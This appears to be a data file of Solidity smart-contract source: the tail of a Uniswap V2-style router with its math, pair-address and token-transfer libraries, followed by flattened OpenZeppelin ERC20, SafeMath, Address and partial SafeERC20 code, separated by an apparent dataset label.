(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'05740dac44e1a922b5ef545f15b8ccda3f21b33912dd3411cf86b2daa8dd0867' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
|
True
|
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// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
